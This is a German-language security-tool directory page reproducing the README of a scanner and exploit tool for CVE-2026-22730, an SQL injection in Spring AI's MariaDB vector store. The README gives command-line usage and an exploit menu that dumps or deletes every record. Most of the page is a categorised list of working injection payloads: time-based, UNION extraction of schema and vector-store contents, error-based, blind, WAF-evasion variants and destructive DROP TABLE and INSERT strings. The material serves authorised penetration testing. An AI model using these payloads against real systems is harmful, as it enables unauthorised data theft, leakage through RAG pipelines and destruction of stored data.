Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-22730-Scanner — Scanner- und Exploit-Tool für CVE-2026-22730, eine SQL-Injection im MariaDB-Vektor-Store von Spring AI. Unterstützt zeitbasierte Erkennung, GET/POST-Methoden und Exploitation mit Berichterstattung. | Kitploit
Tools/GitHubGitHub/null200ok/cve-2026-22730-scanner
SchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstests
GitHubnull200ok/cve-2026-22730-scanner

CVE-2026-22730-Scanner

Scanner- und Exploit-Tool für CVE-2026-22730, eine SQL-Injection im MariaDB-Vektor-Store von Spring AI. Unterstützt zeitbasierte Erkennung, GET/POST-Methoden und Exploitation mit Berichterstattung.

Repository anzeigen
2vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22730 Scanner & Exploit – Spring AI MariaDB Vector Store SQL Injection

Python Version
License
Status

Ein professionelles Sicherheitsbewertungstool für CVE-2026-22730 – eine kritische SQL-Injection-Schwachstelle, die im MariaDB-Vector-Store von Spring AI entdeckt wurde. Dieses Tool ermöglicht autorisierten Penetrationstestern und Sicherheitsforschern, die Schwachstelle zu erkennen und sicher zu exploitieren – für Bildungs- oder Verteidigungszwecke.

📖 Übersicht

CVE-2026-22730 betrifft Spring-AI-Versionen 1.0.x < 1.0.4 und 1.1.x < 1.1.3 bei Verwendung des MariaDB-Vector-Stores. Aufgrund unsachgemäßen Escapings von String-Werten in Filterausdrücken kann ein Angreifer beliebiges SQL über benutzergesteuerte Parameter (z. B. Metadatenfilter) injizieren. Dies kann zu Folgendem führen:

Unbefugter Datenabruf – Umgehung von metadatenbasierten Zugriffskontrollen

Vollständige Datenbanklöschung – Löschen des gesamten Vector-Stores (destruktiv)

Stille Datenlecks – in RAG-Pipelines werden geleakte Daten ohne Erkennung in LLM-Antworten eingebunden

Dieses Tool bietet eine sichere, konfigurierbare Methode, um das Vorhandensein der Schwachstelle zu verifizieren und ihre Auswirkungen (mit ausdrücklicher Zustimmung) während autorisierter Sicherheitsbewertungen zu demonstrieren.

🚀 Funktionen

✅ Zeitbasierte Erkennung – verwendet SLEEP()-Injection zur Bestätigung der Schwachstelle

✅ Mehrere HTTP-Methoden – unterstützt GET (Query-Parameter) und POST (JSON-Body)

✅ Anpassbare Sleep-Dauer – für Netzwerklatenz oder Stealth-Anforderungen

✅ Exploit-Optionen – alle Dokumente abrufen (SELECT) oder alle löschen (DELETE)

✅ Umfassende Berichterstattung – erzeugt HTML-, JSON- und Klartext-Berichte

✅ Benutzerfreundliche CLI – interaktiver Modus und vollständige Befehlszeilenargumente

✅ Erweiterbares Payload-System – einfache Integration benutzerdefinierter Injection-Strings

📋 Anforderungen

Python 3.6 oder höher

requests-Bibliothek (pip install requests)

🔧 Installation

bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git

cd cve-2026-22730-scanner

📖 Verwendung

Das Skript kann im interaktiven Modus oder mit Befehlszeilenargumenten ausgeführt werden.

Grundlegende Syntax

bash

python cve-2026-22730_scanner.py [Optionen]

Optionen

Option Beschreibung

--url Ziel-URL (z. B. http://localhost:8081/api/docs)

--method HTTP-Methode: GET oder POST (Standard: GET)

--param Name des Query-Parameters für GET oder Referenzname für POST (optional)

--json-template JSON-Vorlage mit PAYLOAD-Platzhalter (erforderlich für POST)

--baseline Harmloser Wert für die Basis-Anfrage (Standard: nicht vorhanden)

--sleep Sleep-Sekunden für die zeitbasierte Erkennung (Standard: 5)

Beispiele

  1. GET-Anfrage (Query-Parameter)

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"

  1. POST-Anfrage mit JSON-Body

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'

  1. Benutzerdefinierte Sleep-Zeit und Baseline

bash

python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"

  1. Interaktiver Modus

bash

python cve-2026-22730_scanner.py

Sie werden nach URL, Methode, Parameter/JSON-Vorlage, Baseline und Sleep-Zeit gefragt.

Exploit-Workflow

Wenn das Ziel als verwundbar erkannt wird, zeigt das Skript ein Menü an:

text

[?] Ziel ist verwundbar. Exploit-Option wählen:

root@kitploit:~
1. Alle Dokumente abrufen (SELECT-Injection)

2. Alle Dokumente löschen (DELETE-Injection) - DESTRUKTIV

3. Exploit überspringen

Option 1 sendet ' OR '1'='1, um alle Zeilen abzurufen (nicht destruktiv, liest nur Daten).

Option 2 sendet dasselbe Payload mit der HTTP-Methode DELETE – entfernt dauerhaft alle Datensätze. Erfordert eine ausdrückliche Bestätigung.

Alle Aktionen werden protokolliert und in den Abschlussbericht aufgenommen.

📁 Ausgabedateien

Nach jedem Lauf werden drei mit Zeitstempel versehene Dateien im aktuellen Verzeichnis erstellt:

cve-2026-22730_YYYYMMDD_HHMMSS.json – maschinenlesbarer JSON-Bericht mit allen Details.

cve-2026-22730_YYYYMMDD_HHMMSS.txt – Klartext-Zusammenfassung, einschließlich Exploit-Daten, falls vorhanden.

cve-2026-22730_YYYYMMDD_HHMMSS.html – formatierter HTML-Bericht, geeignet zum Teilen oder Archivieren.

⚠️ Wichtiger Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt.

Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und unethisch.

Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.

Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie ein Ziel scannen oder exploitieren.

📚 Referenzen

GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm

Spring Security Advisory AV26‑245

Original Research Article von SecureLayer7

🤝 Mitwirken

Pull Requests, Fehlerberichte und Feature-Vorschläge sind willkommen. Bitte eröffnen Sie zuerst ein Issue, um größere Änderungen zu besprechen.

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Entwickelt mit ❤️ von Nabeel

Beispiel für PAYLOAD

Für die Sicherheits-Community

📌 So verwenden Sie diese Payloads

Im Skript ersetzen Sie bei Verwendung von POST mit --json-template das PAYLOAD durch ein beliebiges Payload aus der folgenden Liste.

Für GET-Anfragen übergeben Sie das Payload einfach als Parameterwert (das Skript übernimmt die URL-Kodierung automatisch).

🔥 Payload-Kategorien

  1. Erkennung / Zeitbasiert

Diese verursachen eine Verzögerung, wenn die Injection erfolgreich ist. Verwenden Sie sie, um die Schwachstelle zu bestätigen.

Payload Beschreibung

' OR SLEEP(5) -- Standard-zeitbasiertes Payload. Wenn die Abfrage etwa 5 Sekunden pausiert, funktioniert die Injection.

' OR BENCHMARK(10000000,MD5('a')) -- Alternative für MySQL/MariaDB (BENCHMARK).

' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Verschachtelter Sleep zur Umgehung einiger Filter.

' OR 1=1 AND SLEEP(5) -- Kombiniert eine immer-wahre Bedingung mit Sleep.

  1. Authentifizierungsumgehung / Alle Zeilen abrufen

Diese machen die WHERE-Klausel immer wahr und geben alle Datensätze zurück.

Payload Beschreibung

' OR '1'='1 Klassische immer-wahre Injection.

' OR 1=1 -- Eine weitere Variante (erfordert ein Leerzeichen nach --).

' OR ''=' Verlässt sich auf den Vergleich leerer Strings.

' OR 1=1# Verwendet # für den MariaDB-Kommentar (URL-kodiert als %23).

' OR 1=1 LIMIT 1 -- Gibt nur eine Zeile zurück (nützlich für kontrollierte Ausgabe)

  1. Union-basierte Datenextraktion

Nützlich, wenn die Anwendung Ergebnisse anzeigt. Sie müssen die Anzahl der Spalten abgleichen.

Payload Beschreibung

' UNION SELECT NULL, database(), user(), version() -- Ruft Datenbankname, Benutzer und Version ab. (NULL-Anzahl an Spalten anpassen.)

' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Tabellen auflisten.

' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Spalten auflisten.

' UNION SELECT 1, content, metadata FROM vector_store -- Aktuelle Daten ausgeben (wenn die Spaltenanzahl übereinstimmt).

  1. Fehlerbasierte Extraktion

Fehler auslösen, die Informationen preisgeben.

Payload Beschreibung

' AND extractvalue(1, concat(0x7e, database())) -- MariaDB/MySQL fehlerbasiert.

' AND updatexml(1, concat(0x7e, version()), 1) -- Eine weitere Fehlermethode.

' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Doppelter Schlüsselfehler.

  1. Boolesche (Blind)

Nützlich, wenn keine Ausgabe oder Fehler angezeigt werden, sich das Anwendungsverhalten aber ändert.

Payload Beschreibung

' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Prüft das erste Zeichen des Datenbanknamens.

' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Prüft die Anzahl der Tabellen.

' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Testet die Existenz einer Tabelle.

  1. Schreib-/Löschoperationen

Destruktive Payloads (mit äußerster Vorsicht verwenden).

Payload Beschreibung

' OR '1'='1 Entfernt bei Verwendung mit DELETE alle Zeilen.

' OR 1=1; DROP TABLE vector_store -- Versucht, die gesamte Tabelle zu löschen (erfordert gestapelte Abfragen, oft deaktiviert).

' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Versucht, neue Daten einzufügen.

  1. Filter-/WAF-Umgehung

Verschleierte Versionen zur Umgehung einfacher Mustererkennung.

Payload Beschreibung

%27%20OR%20SLEEP(5)%20-- URL-kodiert (das Skript übernimmt dies automatisch).

' //OR//SLEEP(5)/**/-- Inline-Kommentare zur Aufteilung von Schlüsselwörtern.

' OR 0x273d27=0x273d27 -- Hex-kodierter Vergleich ('=').

' OR 1=1 /!50000SLEEP(5)/ -- MySQL-versionsspezifischer Kommentar.

  1. Spezifische Payloads aus dem CVE-Advisory

Payload Beschreibung

' OR '1'='1 Wird verwendet, um alle Dokumente abzurufen (Proof of Concept).

' OR SLEEP(5) -- Zeitbasiertes Erkennungspayload, das im Scanner verwendet wird.

' OR '1'='1 Wird auch für die DELETE-Injection verwendet.

📝 Beispiel-JSON-Vorlagen mit Payload

json

{"department": "' OR SLEEP(5) --"}

{"department": "' OR '1'='1"}

{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}

Im Skript würden Sie die Vorlage wie folgt übergeben:

bash

--json-template '{"department": "PAYLOAD"}'

Das Skript ersetzt PAYLOAD durch das tatsächliche Payload.

HINWEIS zur URL

Das Skript benötigt die vollständige URL des Endpunkts, der den verwundbaren Parameter akzeptiert. Zum Beispiel:

✅ http://example.com/api/docs – wenn der Endpunkt /api/docs ist

✅ http://example.com/search – wenn der Endpunkt /search ist

❌ http://example.com – nicht ausreichend, das Skript benötigt den genauen Pfad

Tool herunterladen